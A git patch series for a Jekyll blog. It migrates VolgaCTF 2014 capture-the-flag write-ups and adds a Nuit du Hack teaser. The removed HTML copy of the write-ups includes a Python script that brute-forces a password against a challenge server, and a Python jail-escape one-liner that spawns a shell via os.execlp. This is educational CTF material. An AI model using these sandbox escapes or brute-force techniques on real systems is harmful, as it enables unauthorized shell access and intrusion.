-} -code, pre { - font-family: Monaco, Andale Mono, Courier New, monospace; -} -code { - background-color: #fee9cc; - color: rgba(0, 0, 0, 0.75); - padding: 1px 3px; - font-size: 12px; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; -} -pre { - display: block; - padding: 14px; - margin: 0 0 18px; - line-height: 16px; - font-size: 11px; - border: 1px solid #d9d9d9; - white-space: pre-wrap; - word-wrap: break-word; -} -pre code { - background-color: #fff; - color:#737373; - font-size: 11px; - padding: 0; -} -sup { - font-size: 0.83em; - vertical-align: super; - line-height: 0; -} -* { - -webkit-print-color-adjust: exact; -} -@media screen and (min-width: 914px) { - body { - width: 640px; - margin:10px auto; - } -} -@media print { - body,code,pre code,h1,h2,h3,h4,h5,h6 { - color: black; - } - table, pre { - page-break-inside: avoid; - } -} From f5673a8718a8cfb1f758f0411419f0b51b0a15c5 Mon Sep 17 00:00:00 2001 From: Jake M <jakemaskiewicz@gmail.com> Date: Mon, 7 Apr 2014 18:18:14 -0700 Subject: [PATCH 143/144] small fixes --- _posts/2014-04-07-nuit-du-hack-2014-writeups.md | 2 ++ index.md | 9 +++++++-- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/_posts/2014-04-07-nuit-du-hack-2014-writeups.md b/_posts/2014-04-07-nuit-du-hack-2014-writeups.md index 174b716..4964fb9 100644 --- a/_posts/2014-04-07-nuit-du-hack-2014-writeups.md +++ b/_posts/2014-04-07-nuit-du-hack-2014-writeups.md @@ -42,6 +42,8 @@ No need to reverse-engineer this; we can simply use it in the javascript console tncms.unscramble('%96 7=28 7@C E9:D 492= :D iQx>A6C2E@C xF=:FD r26D2C s:GFDQ]') "The flag for this chal is :"Imperator Iulius Caesar Divus"." +<!--more--> + ### Onion Rings The hidden service accepts a profile picture upload, and includes the option to load from a non-TOR URL. So, we can ask it to load from our server, and capture the IP of the requestor. diff --git a/index.md b/index.md index bd7cadc..51bfea1 100644 --- a/index.md +++ b/index.md @@ -9,9 +9,14 @@ Welcome to SIGINT <div class="posts"> {% for post in site.posts %} - <h2 style="border-bottom: 1px solid #eee;"><a style="color:#444;" href="{{ BASE_PATH}}{{ post.url }}">{{post.title}}</a> <small>{{ post.tagline }}</small></h2> + <h2 style="border-bottom: 1px solid #eee;"> + <a style="color:#444;" href="{{ BASE_PATH}}{{ post.url }}"> + {{post.title}} + </a> + <small>{{ post.tagline }}</small> + </h2> <p style="margin-top: -10px;"><em>{{ post.date | date_to_string }}</em></p> - <p>{{ post.excerpt }}</p> + <div>{{ post.excerpt }}</div> <p><strong><a href="{{ post.url }}">Read more...</a></strong></p> {% endfor %} </div> From b5f1aa13f2bf5d497bcbd4a2e4bbe5c6246f9115 Mon Sep 17 00:00:00 2001 From: Jake M <jakemaskiewicz@gmail.com> Date: Mon, 7 Apr 2014 18:24:16 -0700 Subject: [PATCH 144/144] added volga2014 writeups --- History.markdown | 16 -- .../2014-04-07-volga-ctf-2014-writeups.md | 36 +-- .../images/volga2014}/joy200.png | Bin changelog.md | 70 ----- volga2014/index.html | 255 ------------------ volga2014/markdown8.css | 137 ---------- 6 files changed, 18 insertions(+), 496 deletions(-) delete mode 100644 History.markdown rename volga2014/writeups.md => _posts/2014-04-07-volga-ctf-2014-writeups.md (96%) rename {volga2014 => assets/images/volga2014}/joy200.png (100%) delete mode 100644 changelog.md delete mode 100644 volga2014/index.html delete mode 100644 volga2014/markdown8.css diff --git a/History.markdown b/History.markdown deleted file mode 100644 index 5ef89c1..0000000 --- a/History.markdown +++ /dev/null @@ -1,16 +0,0 @@ -## HEAD - -### Major Enhancements - -### Minor Enahncements - * Add `drafts` folder support (#167) - * Add `excerpt` support (#168) - * Create History.markdown to help project management (#169) - -### Bug Fixes - -### Site Enhancements - -### Compatibility updates - * Update `preview` task - diff --git a/volga2014/writeups.md b/_posts/2014-04-07-volga-ctf-2014-writeups.md similarity index 96% rename from volga2014/writeups.md rename to _posts/2014-04-07-volga-ctf-2014-writeups.md index fb85777..e2f498b 100644 --- a/volga2014/writeups.md +++ b/_posts/2014-04-07-volga-ctf-2014-writeups.md @@ -1,10 +1,13 @@ -<link rel='stylesheet' href='markdown8.css'/> +--- +layout: post +title: "Volga CTF 2014 Writeups" +description: "" +category: +tags: [] +--- +<!--{% include JB/setup %}--> -VolgaCTF Quals 2014 Writeups -============================ -<a id="joy200"></a> -Joy 200 -------- +### Joy 200 Japcross.txt resembles a picross/nonogram puzzle. It's a bit large to solve by hand, so we wrote a script to reformat it: @@ -44,13 +47,14 @@ Japcross.txt resembles a picross/nonogram puzzle. It's a bit large to solve by h Then, we submitted it to an online solver [here](http://www.comp.lancs.ac.uk/~ss/nonogram/auto): - + The QR code encodes "longing for you drove me through the stars. Alexei Tolstoy". This entire string was the flag. -<a id="joy300"></a> -Joy 300 -------- + +<!--more--> + +### Joy 300 CTFy Rocket is a Flappy Bird clone apparently developed in Borland Delphi. The stated goal in the challenge description is to reach the 42nd "parsec". @@ -90,9 +94,7 @@ The number of times this occurred also proved difficult to calculate, so we focu After the game began, we patched the binary to set `dword_45CE14` to 256 each time a collision occured. Then, we were able to fly through the level ignoring obstacles. Once we reached the 42nd parsec, the hidden caption was revealed and it contained our flag. -<a id="crypto100"></a> -Crypto 100 ----------- +### Crypto 100 Initially, this challenge was very difficult. Though the encoding function was easy to analyze and reimplement, decoding the provided plaintext required some algorithmic skill. Here is the original encoding function: @@ -115,14 +117,13 @@ Then, the challenge was updated. The only modification was that primes expressib 595865360437951910254909481033; SortBy[FactorInteger@n, Last] - {{59, 2}, {3889, 3}, {1993357, 7}, {127, 13}, {15569, 59}, {241, 127}, {487, 487}, {7789, 971}, {29, 2219}, {249181, 3889}} + { {59, 2}, {3889, 3}, {1993357, 7}, {127, 13}, {15569, 59}, {241, 127}, {487, 487}, {7789, 971}, {29, 2219}, {249181, 3889} } This was short enough to solve manually. Rather than calculate the appropriate new primes, I simply encoded A-Z using the service. Examining only prime exponents for now, the solution is `FLUG_NH_IM_R`, leaving `29^2219` unused. `29+241+1949=2219`, so we deduce that the remaining characters are E's. `FLUGENHEIMER` was the flag. (The English Wikipedia wordlist included Flugenheimen, but not Flugenheimer) -Exploits 100 ------------- +### Exploits 100 We are provided a binary and a host/port to connect to. The meat of the binary is: @@ -184,8 +185,7 @@ Then, we test the strings `'baaaaaaaaaaa'`, `'caaaaaaaaaaa'`, and so on until we The password we extracted by this method was `S@nd_will2z0`, and providing this as the password returns the flag `Time_works_for_you`. Perhaps a timing attack was the intended solution? -Exploits 300 ------------- +### Exploits 300 We're challenged to escape a jail, and a few first submissions return Python-style errors. diff --git a/volga2014/joy200.png b/assets/images/volga2014/joy200.png similarity index 100% rename from volga2014/joy200.png rename to assets/images/volga2014/joy200.png diff --git a/changelog.md b/changelog.md deleted file mode 100644 index 7965e9d..0000000 --- a/changelog.md +++ /dev/null @@ -1,70 +0,0 @@ -## Changelog - -Public releases are all root nodes. -Incremental version bumps that were not released publicly are nested where appropriate. - -P.S. If there is a standard (popular) changelog format, please let me know. - -- **0.3.0 : 2013.02.24** - - **Features** - - Update twitter bootstrap to 2.2.2. Add responsiveness and update design a bit. - - @techotaku fixes custom tagline support (finally made it in!) - - @opie4624 adds ability to set tags from the command-line. - - @lax adds support for RSS feed. Adds rss and atom html links for discovery. - - Small typo fixes. - - - **Bug Fixes** - - @xuhdev fixes theme:install bug which does not overwrite theme even if saying 'yes'. - -- **0.2.13 : 2012.03.24** - - **Features** - - 0.2.13 : @mjpieters Updates pages_list helper to only show pages having a title. - - 0.2.12 : @sway recommends showing page tagline only if tagline is set. - - 0.2.11 : @LukasKnuth adds 'description' meta-data field to post/page scaffold. - - - **Bug Fixes** - - 0.2.10 : @koriroys fixes typo in atom feed - -- **0.2.9 : 2012.03.01** - - **Bug Fixes** - - 0.2.9 : @alishutc Fixes the error on post creation if date was not specified. - -- **0.2.8 : 2012.03.01** - - **Features** - - 0.2.8 : @metalelf0 Added option to specify a custom date when creating post. - - 0.2.7 : @daz Updates twitter theme framework to use 2.x while still maintaining core layout. #50 - @philips and @treggats add support for page.tagline metadata. #31 & #48 - - 0.2.6 : @koomar Adds Mixpanel analytics provider. #49 - - 0.2.5 : @nolith Adds ability to load custom rake scripts. #33 - - 0.2.4 : @tommyblue Updated disqus comments provider to be compatible with posts imported from Wordpress. #47 - - - **Bug Fixes** - - 0.2.3 : @3martini Adds Windows MSYS Support and error checks for git system calls. #40 - - 0.2.2 : @sstar Resolved an issue preventing disabling comments for individual pages #44 - - 0.2.1 : Resolve incorrect HOME\_PATH/BASE\_PATH settings - -- **0.2.0 : 2012.02.01** - Features - - Add Theme Packages v 0.1.0 - All themes should be tracked and maintained outside of JB core. - Themes get "installed" via the Theme Installer. - Theme Packages versioning is done separately from JB core with - the main intent being to make sure theme versions are compatible with the given installer. - - - 0.1.2 : @jamesFleeting adds facebook comments support - - 0.1.1 : @SegFaultAX adds tagline as site-wide configuration - -- **0.1.0 : 2012.01.24** - First major versioned release. - Features - - Standardize Public API - - Use name-spacing and modulation where possible. - - Ability to override public methods with custom code. - - Publish the theme API. - - Ship with comments, analytics integration. - -- **0.0.1 : 2011.12.30** - First public release, lots of updates =p - Thank you everybody for dealing with the fast changes and helping - me work out the API to a manageable state. - diff --git a/volga2014/index.html b/volga2014/index.html deleted file mode 100644 index 07fbbdd..0000000 --- a/volga2014/index.html +++ /dev/null @@ -1,255 +0,0 @@ -<p><link rel='stylesheet' href='markdown8.css'/></p> - -<h1>VolgaCTF Quals 2014 Writeups</h1> - -<p><a id="joy200"></a></p> - -<h2>Joy 200</h2> - -<p>Japcross.txt resembles a picross/nonogram puzzle. It's a bit large to solve by hand, so we wrote a script to reformat it:</p> - -<pre><code>rows = open('japcross.txt').read().split('\r\n') - -def get(x,y): - return rows[y].split('\t')[x] - -ver = [] -hor = [] -for y in range(11,44): - vals = [] - for x in range(11,-1,-1): - r = get(x,y) - if not r: break - vals = [r] + vals - ver.append(vals) - -for x in range(12,45): - vals = [] - for y in range(10,-1,-1): - r = get(x,y) - if not r: break - vals = [r] + vals - hor.append(vals) - -print "width", len(hor) -print "height", len(ver) -print -print "rows" -for row in ver: - print ','.join(row) -print -print "columns" -for col in hor: - print ','.join(col) -</code></pre> - -<p>Then, we submitted it to an online solver <a href="http://www.comp.lancs.ac.uk/~ss/nonogram/auto">here</a>:</p> - -<p><img src="joy200.png" alt="The solution" title="" /></p> - -<p>The QR code encodes "longing for you drove me through the stars. Alexei Tolstoy". This entire string was the flag.</p> - -<p><a id="joy300"></a></p> - -<h2>Joy 300</h2> - -<p>CTFy Rocket is a Flappy Bird clone apparently developed in Borland Delphi. The stated goal in the challenge description is to reach the 42nd "parsec". </p> - -<p>In TForm1_Timer1Timer we find the code that checks for collisions and travel out of bounds. By debugging the game and setting breakpoints, we find that there are two large conditional blocks responsible for collision checking:</p> - -<pre><code>if ( *(_DWORD *)(v8 + 68) < *(_DWORD *)(v9 + 68) + 600 -< more expressions > -&& *(_DWORD *)(*(_DWORD *)(v2 + 760) + 64) < *(_DWORD *)(*(_DWORD *)(v2 + 788) + 64) + 100 ) -dword_45CE14 = 572; - -if ( *(_DWORD *)(v13 + 68) < *(_DWORD *)(v14 + 68) + 600 -< more expressions > -&& *(_DWORD *)(*(_DWORD *)(v2 + 760) + 64) < *(_DWORD *)(*(_DWORD *)(v2 + 788) + 64) + 100 ) -dword_45CE14 = 1323; -</code></pre> - -<p>Then, <code>dword_45CE14</code> is later compared to 572. If greater than or equal, the game ends:</p> - -<pre><code>if ( dword_45CE14 >= 572 ) - { - Controls__TControl__SetVisible(*(_DWORD *)(v2 + 760), 0); - unknown_libname_442(*(_DWORD *)(v2 + 792), 0); - LOBYTE(v11) = 1; - Controls__TControl__SetVisible(*(_DWORD *)(v2 + 808), v11); - LOBYTE(v12) = 1; - Controls__TControl__SetVisible(*(_DWORD *)(v2 + 840), v12); - Controls__TControl__SetLeft(*(_DWORD *)(v2 + 808), *(_DWORD *)(*(_DWORD *)(v2 + 760) + 64)); - Controls__TControl__SetTop(*(_DWORD *)(v2 + 808), *(_DWORD *)(*(_DWORD *)(v2 + 760) + 68)); - } -</code></pre> - -<p>On several occasions, the text of a hidden caption is manipulated in a function that didn't appear fun to reverse:</p> - -<pre><code>Controls__TControl__GetText(*(_DWORD *)(v2 + 816), &v27); -sub_4581B4(v27, v7, &v29); -Controls__TControl__SetText(*(_DWORD *)(v2 + 816), v29); -</code></pre> - -<p>The number of times this occurred also proved difficult to calculate, so we focused on removing collision checks instead.</p> - -<p>After the game began, we patched the binary to set <code>dword_45CE14</code> to 256 each time a collision occured. Then, we were able to fly through the level ignoring obstacles. Once we reached the 42nd parsec, the hidden caption was revealed and it contained our flag.</p> - -<p><a id="crypto100"></a></p> - -<h2>Crypto 100</h2> - -<p>Initially, this challenge was very difficult. Though the encoding function was easy to analyze and reimplement, decoding the provided plaintext required some algorithmic skill. Here is the original encoding function:</p> - -<pre><code>def encode(s): - n = 1 - i = 0 - for c in s: - if c not in string.letters: break - c = ord(c.upper())-ord('A') - n *= pow(primes[c],primes[i]) - i += 1 - return n -</code></pre> - -<p>Note that any character that is not a character between A-Z is ignored, along with the rest of the string. This behavior matches what we observed from the service on port 28121. A hint was later provided: "the plaintext we encrypted using the oracle is a single meaningful word." Having reproduced the encoding function, I tried encoding each of 60 million words appearing in the English Wikipedia, but found no matches.</p> - -<p>Then, the challenge was updated. The only modification was that primes expressible as the sum of previous primes were omitted from the primes table. That is, previously, a <code>2^5</code> might have represented either A's in the first and second positions, or an A in the third position. The updated challenge skipped 5 and represented the third position by 7 instead. So, the new challenge simply required factoring the provided number in Mathematica:</p> - -<pre><code>n = 1514765623131713617459556538106848713973303979708039641578 -... -595865360437951910254909481033; - -SortBy[FactorInteger@n, Last] -{{59, 2}, {3889, 3}, {1993357, 7}, {127, 13}, {15569, 59}, {241, 127}, {487, 487}, {7789, 971}, {29, 2219}, {249181, 3889}} -</code></pre> - -<p>This was short enough to solve manually. Rather than calculate the appropriate new primes, I simply encoded A-Z using the service. Examining only prime exponents for now, the solution is <code>FLUG_NH_IM_R</code>, leaving <code>29^2219</code> unused. <code>29+241+1949=2219</code>, so we deduce that the remaining characters are E's. <code>FLUGENHEIMER</code> was the flag. </p> - -<p>(The English Wikipedia wordlist included Flugenheimen, but not Flugenheimer)</p> - -<h2>Exploits 100</h2> - -<p>We are provided a binary and a host/port to connect to. The meat of the binary is:</p> - -<pre><code>while ( 1 ) { - do { - read(fd, &input_buf, 15u); - LOBYTE(v15[0]) = 0; - } - while ( strlen((const char *)&input_buf) != 13 ); - v5 = 0; - for ( i = 0; i <= 11; ++i ){ - if ( pw_buf[i] == *((_BYTE *)&input_buf + i) ) - ++v5; - } - if ( v5 == 12 ) break; - v7 = rand() % 1000; - for ( j = 0; j < v5; ++j ) - { - for ( k = 1; (unsigned int)k <= 0xDEADBEEE; ++k ) - v7 = k ^ (k + v7); - } - sprintf(&s, "%x\n", v7); - write(fd, &s, strlen(&s) - 1); -} -write(fd, flag_buf, strlen(flag_buf) - 1); -</code></pre> - -<p>This reads in a string one character at a time, then compares it to a 12-character password. For each character that matches, <code>v5</code> is incremented. Then, it does some processing on a random variable <code>v7</code> unless <code>v5</code> is zero, and prints out <code>v7</code>. </p> - -<p>There are several possible approaches to this problem. It might be possible to determine some information about <code>v5</code> given several values of <code>v7</code> for the same string, but that'd be pretty difficult. We can also perform a timing attack on the <code>v5</code> value, since iteration from 1 to <code>0xDEADBEEE</code> takes a significant amount of time. </p> - -<p>However, we noted that <code>v7</code> will always be less than 1000 unless <code>v5</code> is greater than zero, and that <code>v7</code> will almost certainly be larger than 1000 if <code>v5</code> is nonzero. We infer that if the value returned is greater than 1000, at least one character matched the password.</p> - -<p>So, we must first find a character that is not in the password. The string <code>'aaaaaaaaaaaa'</code> consistently returns numbers under 1000, so we can assume that <code>'a'</code> is not in the password. </p> - -<p>Then, we test the strings <code>'baaaaaaaaaaa'</code>, <code>'caaaaaaaaaaa'</code>, and so on until we receive a number greater than 1000 and advance to the next character. We used a script to automate this:</p> - -<pre><code>import telnetlib -import time -import string - -# t = telnetlib.Telnet('127.0.0.1', 7026) -t = telnetlib.Telnet('tasks.2014.volgactf.ru', 28111) -t.read_until('characters\n') -def try_password(pw): - print "trying", pw - t.write(pw+'\n') - return int(t.read_some(),16) - -cs = string.letters+string.punctuation+string.digits+' ' -a = '' -for i in range(12): - for c in cs: - s = 'a'*(i)+c+'a'*(12-i-1) - if try_password(s) > 1000: - a+=c - break - -print a -</code></pre> - -<p>The password we extracted by this method was <code>S@nd_will2z0</code>, and providing this as the password returns the flag <code>Time_works_for_you</code>. Perhaps a timing attack was the intended solution?</p> - -<h2>Exploits 300</h2> - -<p>We're challenged to escape a jail, and a few first submissions return Python-style errors. </p> - -<p>Apart from missing builtins, there appear to be no restrictions on input characters, so we don't need any encoding tricks. </p> - -<p>In a local interpreter I tried to find a reference to <code>os</code> so I could open a shell. We can start by listing the subclasses of <code>object</code>:</p> - -<pre><code>>>> object.__subclasses__() -[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>] -</code></pre> - -<p>To reach <code>object</code> in the challenge, it was necessary to follow the class hierarchy from any object, like a number or tuple. We can instantiate a file object and read it:</p> - -<pre><code>>>> ().__class__.__bases__[0].__subclasses__()[40] -<type 'file'> ->>> ().__class__.__bases__[0].__subclasses__()[40]('filename.txt','r').read() -</code></pre> - -<p>Then, we tried reading <code>flag</code>, <code>key</code>, <code>flag.txt</code> and so on, none of which were found. Then, we noticed that we had an absolute path to <code>exploit300.py</code> (<code>/home/john/exploit300.py</code>) in the traceback when EOF is sent. So, we read that absolute path and retrieved the script, included farther below. As suspected, though the builtins are empty, there are no restrictions on input. Now we need to get a shell. <a href="http://eindbazen.net/2013/04/pctf-2013-pyjail-misc-400/">Eindbazen's pCTF pyjail solution</a> used the same trick to get a list of classes, and then indexed into it to traverse to the <code>os</code> module: </p> - -<pre><code>().__class__.__bases__[0].__subclasses__()[48].__init__.__globals__['linecache'].os.execlp('sh','') -</code></pre> - -<p>However, this was running in a different Python environment, so it wasn't clear what the class at index 48 was supposed to be. I checked a few numbers around it and found that 52, <code>warningmessage</code>, worked.</p> - -<pre><code>().__class__.__bases__[0].__subclasses__()[52].__init__.__globals__['linecache'].os.execlp('sh','') -</code></pre> - -<p>Now we had a shell, and in the root directory, which is why <code>flag.txt</code> was not found. The flag was located at <code>/home/john/flag.txt</code>. We should have checked that path earlier.</p> - -<p>Having solved the problem, we explored the system a bit and found some world-readable VPN configuration files and client keys(!) in <code>/ov/oooooo</code>. We also discovered that flag.txt and exploit300.py were writable by the <code>john</code> user. Though tempting, we didn't modify either. In short, this wasn't much of a sandbox.</p> - -<p>When trying to find the pyjail solution we referenced, we came across a writeup for picoCTF's Python Eval 5, and discovered that this problem was identical down to the indentation style, apart from a comment, the prompt text, and the allowed length:</p> - -<pre><code>#!/usr/bin/python -u | from sys import modules -# task5.py | modules.clear() -# A real challenge for those python masters out | del modules - | -from sys import modules | _raw_input = raw_input -modules.clear() | _BaseException = BaseException -del modules | _EOFError = EOFError - | -_raw_input = raw_input | # he-he -_BaseException = BaseException | __builtins__.__dict__.clear() -_EOFError = EOFError | __builtins__ = None - | -__builtins__.__dict__.clear() | print '>>> Just escape me...' -__builtins__ = None | - | while 1: -print 'Get a shell, if you can...' | try: - | d = {'x':None} -while 1: | exec 'x='+_raw_input()[:500] in d - try: | print 'ret:', d['x'] - d = {'x':None} | except _EOFError, e: - exec 'x='+_raw_input()[:50] in d | raise e - print 'Return Value:', d['x'] | except _BaseException, e: - except _EOFError, e: / print 'Exception:', e - raise e < - except _BaseException, e: < - print 'Exception:', e < -</code></pre> diff --git a/volga2014/markdown8.css b/volga2014/markdown8.css deleted file mode 100644 index 076c531..0000000 --- a/volga2014/markdown8.css +++ /dev/null @@ -1,137 +0,0 @@ -h1, h2, h3, h4, h5, h6, p, blockquote { - margin: 0; - padding: 0; -} -body { - font-family: "Helvetica Neue", Helvetica, "Hiragino Sans GB", Arial, sans-serif; - font-size: 13px; - line-height: 18px; - color: #737373; - background-color: white; - margin: 10px 13px 10px 13px; -} -table { - margin: 10px 0 15px 0; - border-collapse: collapse; -} -td,th { - border: 1px solid #ddd; - padding: 3px 10px; -} -th { - padding: 5px 10px; -} - -a { - color: #0069d6; -} -a:hover { - color: #0050a3; - text-decoration: none; -} -a img { - border: none; -} -p { - margin-bottom: 9px; -} - -h1, h2, h3, h4, h5, h6 { - color: #404040; - line-height: 36px; -} -h1 { - margin-bottom: 18px; - font-size: 30px; -} -h2 { - margin-top: 72px; - font-size: 24px; -} -h3 { - font-size: 18px; -} -h4 { - font-size: 16px; -} -h5 { - font-size: 14px; -} -h6 { - font-size: 13px; -} -hr { - margin: 0 0 19px; - border: 0; - border-bottom: 1px solid #ccc; -} -blockquote { - padding: 13px 13px 21px 15px; - margin-bottom: 18px; - font-family:georgia,serif; - font-style: italic; -} -blockquote:before { - content:"\201C"; - font-size:40px; - margin-left:-10px; - font-family:georgia,serif; - color:#eee; -} -blockquote p { - font-size: 14px; - font-weight: 300; - line-height: 18px; - margin-bottom: 0; - font-style: italic; -} -code, pre { - font-family: Monaco, Andale Mono, Courier New, monospace; -} -code { - background-color: #fee9cc; - color: rgba(0, 0, 0, 0.75); - padding: 1px 3px; - font-size: 12px; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; -} -pre { - display: block; - padding: 14px; - margin: 0 0 18px; - line-height: 16px; - font-size: 11px; - border: 1px solid #d9d9d9; - white-space: pre-wrap; - word-wrap: break-word; -} -pre code { - background-color: #fff; - color:#737373; - font-size: 11px; - padding: 0; -} -sup { - font-size: 0.83em; - vertical-align: super; - line-height: 0; -} -* { - -webkit-print-color-adjust: exact; -} -@media screen and (min-width: 914px) { - body { - width: 640px; - margin:10px auto; - } -} -@media print { - body,code,pre code,h1,h2,h3,h4,h5,h6 { - color: black; - } - table, pre { - page-break-inside: avoid; - } -}